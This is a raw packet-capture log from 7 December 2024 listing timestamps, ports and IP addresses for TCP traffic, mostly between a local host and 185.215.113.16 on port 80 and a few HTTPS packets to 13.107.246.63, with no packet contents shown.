Dec 7, 2024 18:27:03.706052065 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.706063986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.706954956 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.706980944 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.706991911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.707000971 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.707015991 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.707025051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.707928896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.707942963 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.707954884 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.707977057 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.707990885 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.708843946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.708858013 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.708875895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.708887100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.708890915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.708909035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.708931923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.709723949 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.709758997 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.709769964 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.709770918 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.709789038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.709804058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.710726023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.710738897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.710762024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.710769892 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.710788012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.711631060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.711674929 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.711921930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.711935043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.711956978 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.711957932 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.711971045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.711976051 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.711987019 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.712001085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.712889910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.712902069 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.712912083 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.712934017 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.712955952 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.713823080 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.713844061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.713854074 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.713875055 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.713886023 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.714776039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.714788914 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.714798927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.714808941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.714823961 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.714850903 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.715764046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.715778112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.715795994 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.715809107 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.715830088 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.716622114 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.716634989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.716644049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.716671944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.716686010 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.717592955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.717606068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.717616081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.717628002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.717632055 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.717644930 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.717672110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.718741894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.718754053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.718764067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.718786955 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.718803883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.719527006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.719544888 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.719556093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.719577074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.719595909 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.720449924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.720462084 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.720472097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.720491886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.720511913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.721386909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.721399069 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.721409082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.721420050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.721436024 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.721458912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.722356081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.722368002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.722378016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.722400904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.722417116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.723294020 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.723305941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.723325014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.723340034 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.723356962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.724288940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.724302053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.724311113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.724320889 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.724348068 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.724364996 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.725214005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.725224972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.725234032 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.725256920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.725279093 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.726051092 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.726063967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.726072073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.726099014 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.726115942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.727056026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.727067947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.727077961 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.727098942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.727119923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.727952957 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.727966070 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.727976084 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.727996111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.727999926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.728007078 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.728020906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.728039980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.728902102 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.728914022 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.728923082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.728941917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.728956938 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.729830027 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.729842901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.729852915 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.729876995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.729891062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.730809927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.730822086 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.730832100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.730843067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.730849028 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.730865955 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.730887890 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.731671095 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.731693029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.731704950 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.731715918 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.731738091 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.732641935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.732659101 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.732669115 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.732681990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.732706070 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.733678102 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.733690977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.733700991 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.733711004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.733730078 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.733750105 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.734528065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.734539032 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.734549046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.734575987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.734589100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.735488892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.735500097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.735511065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.735537052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.735555887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.736419916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.736433029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.736443996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.736454964 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.736468077 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.736489058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.737329960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.737353086 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.737379074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.737397909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.737399101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.737430096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.738313913 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.738327026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.738359928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.738363028 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.738377094 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.738398075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.739244938 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.739259005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.739269972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.739280939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.739300013 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.739321947 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.740179062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.740201950 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.740212917 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.740236998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.740250111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.741144896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.741158009 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.741174936 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.741194010 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.741209984 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.742136002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.742183924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.743057013 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.743067980 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.743108988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.744061947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.744077921 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.744107962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.744108915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.744119883 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.744124889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.744138002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.744153976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.745121002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.745132923 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.745142937 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.745171070 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.745199919 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.745836973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.745847940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.745857954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.745872974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.745887995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.746726036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.746740103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.746762037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.746766090 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.746773958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.746783972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.746802092 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.747715950 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.747729063 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.747737885 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.747771978 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.747791052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.748641014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.748652935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.748661995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.748693943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.748716116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.749597073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.749608994 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.749619961 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.749630928 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.749645948 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.749665976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.750511885 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.750524044 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.750557899 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.750579119 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.750835896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.750870943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.751523972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.751540899 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.751553059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.751563072 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.751574993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.751590014 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.752557039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.752568960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.752578974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.752589941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.752594948 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.752607107 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.752630949 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.753329039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.753356934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.753365993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.753370047 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.753388882 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.753401995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.754313946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.754326105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.754336119 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.754354000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.754365921 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.755256891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.755269051 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.755279064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.755290031 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.755294085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.755300045 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.755320072 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.755343914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.756247044 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.756289959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.756453037 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.756477118 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.756514072 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.756525040 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.756557941 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.756748915 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.756766081 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.756778955 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.756788015 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.757101059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.757112980 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.757138014 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.757152081 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.757157087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.757184982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.758074045 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.758085966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.758095026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.758105993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.758128881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.758164883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.759011984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.759023905 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.759037018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.759064913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.759083033 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.760046005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760059118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760068893 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760080099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760091066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.760103941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.760128975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.760705948 CET	49838	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.760751009 CET	443	49838	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.760806084 CET	49838	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.760912895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760925055 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760935068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.760946035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.760967016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.761871099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.761912107 CET	49831	80	192.168.2.7	185.215.113.16
